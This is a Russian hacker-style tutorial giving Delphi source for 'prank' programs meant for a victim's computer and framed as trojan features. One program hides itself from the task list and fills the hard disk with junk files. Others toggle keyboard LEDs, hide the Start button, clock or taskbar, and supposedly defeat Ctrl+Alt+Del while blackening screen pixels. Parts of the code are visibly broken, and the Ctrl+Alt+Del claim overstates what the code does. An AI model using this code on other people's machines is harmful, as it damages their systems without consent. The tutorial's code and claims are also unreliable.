Западло на Делфи


В этой статье вы найдете для себя или своего будущего трояна, проги новые функции. в конце самой статьи есть исходный текст проги, которая не позволит кнопочкам CTRL+ALT+DELET снять ваш прикол (западло) ну начнем...

Западло на Delphi №1
Я юзал Delphi 5 но думаю он пойдет и на 3,4,6. Для начала запусти Дельфи там жми на File --> New Application(После этой операции создается приложение). Далее тыкни на Project --> View Source. Терь стирай там все и вводи этот бред:

program netmesta; /*Типа название проги*/
uses Windows;
var
text:TextFile;
alphabet, temp:string;
i:integer;
point:Tpoint; /* Объявление переменных */
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';
begin
RegisterServiceProcess(0,1);
alphabet:='abcdefghijklmnopqrstucvwxyz'; /*заполняем строку алфавитом*/
while true do
begin
GetCursorPos(point); /* получаем координаты курсора */
if (point.x = 0)and(point.y = 0) then /* если х = 0 и y = 0 то */
begin
temp:=''; /*очищаем буфер*/
for i:=1 to 8 do /*генерируем случайное имя файла*/
temp:=Concat(temp, alphabet[Random(length(alphabet)-1)+1]);
temp:=Concat(temp, '.');
for i:=1 to 3 do /*генерируем случайное расширение*/
temp:=Concat(temp, alphabet[Random(length(alphabet)-1)+1]);
Assign(text, temp); /* присваиваем имя файлу */
Rewrite(text); /*открываем файл*/
for i:=1 to 30000000 do
begin
Yield;
Write(text, '!'); /* наполняем файл мусором */
end;
Close(text); /* закрываем файл */
end;
end; /* всё сначала */
end.

Вот и все это западло засоряет винт мусором в общем остается мало места =)

Западло №2 (Светамузыка с Num Lock, Caps Lock, Scroll Lock) Запусти Дельфи, выбери в меню Project--> View Source и набери еще один бред:

program svetmusic; /*название проги*/
uses Windows; /* подключаем необходимые модули */
var
ks:TKeyboardState; /* объявляем переменную состояния клавиатуры */
i:integer; /* объявляем целочисленную переменную */

procedure

begin
while true do
begin
Yield;
Sleep(3*60*1000);
GetKeyboardState(ks); /* получаем состояние клавиатуры */
i:=Random(2);
case i of
0:KS[020] := KS[020] XOR 1;
1:KS[144] := KS[144] XOR 1;
2:KS[145] := KS[145] XOR 1;
end;
SetKeyboardState(ks);
end;
end.
Ну вот и все теперь нужно откомпилировать это нажимаем Ctrl+F9

Западло №3
Снова запускаем Делфи выбери в меню Project --> Viev Source и води новый бред =):

program menu;
uses Windows;
var
Wnd:THandle; /* объявляем переменные */
int:integer;
begin
Randomize; /* холостой прогон генератора случайных чисел */
int:=(Random(3)); /* выбор одного варианта из четырёх */
case int of
0: /* если первый вариант то */
begin
Wnd := FindWindow('Progman', nil); /* прячем трей */
Wnd := FindWindowEx(Wnd, HWND(0),'ShellDll_DefView', nil);
ShowWindow(Wnd, SW_HIde);
end;
1: /* если второй вариант то */
begin
Wnd := FindWindow('Shell_TrayWnd', nil);
Wnd := FindWindowEx(Wnd, HWND(0),'TrayNotifyWnd', nil);
Wnd := FindWindowEx(Wnd, HWND(0),'TrayClockWClass', nil);
/* прячем часы */
ShowWindow(Wnd, SW_HIde);
end;
2:
begin
Wnd := FindWindow('Shell_TrayWnd', nil);
Wnd := FindWindowEx(Wnd, HWND(0),'Button', nil);
/*прячем кнопку "Пуск"*/
ShowWindow(Wnd, SW_HIde);
end;
3:
begin
Wnd := FindWindow('Shell_TrayWnd', nil);
Wnd := FindWindowEx(Wnd, HWND(0),'TrayNotifyWnd', nil);
/* прячем "Панель задач" */
ShowWindow(Wnd, SW_HIDe);
end;
end;
end.

Это западло прячет часы с кнопкой "Пуск" и, на худой конец "Панель задач".
Исходные текста by Kiron56

А если вы хотите чтобы ваши заподлянки не могли снять через Ctrl+Alt+Delet то делаем следующее. Открываем Делфи блин бесит все повторно писать вы уже наизусть выучили что там открывать надо наверно =)... и вводим теперь мой бред:
program AntiCTRLALTDELETE; /*Название проги*/
uses Windows, Graphics; /* подключаем модули */
var
desk:TCanvas; /* объявляем переменные */
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';
begin
RegisterServiceProcess(GetCurrentProcessID, 1);
desk:=TCanvas.Create; /* инициализируем переменную */
desk.handle:=GetDC(0); /* получаем заголовок десктопа */
while true do
begin
Yield;
desk.Pixels[Random(800), Random(600)]=0; /* точка на экране становится черной */
end;
end.

Ну вот и все теперь ваши заподлянки не снимут даже три веселые кнопочки =)

автор: RealNeo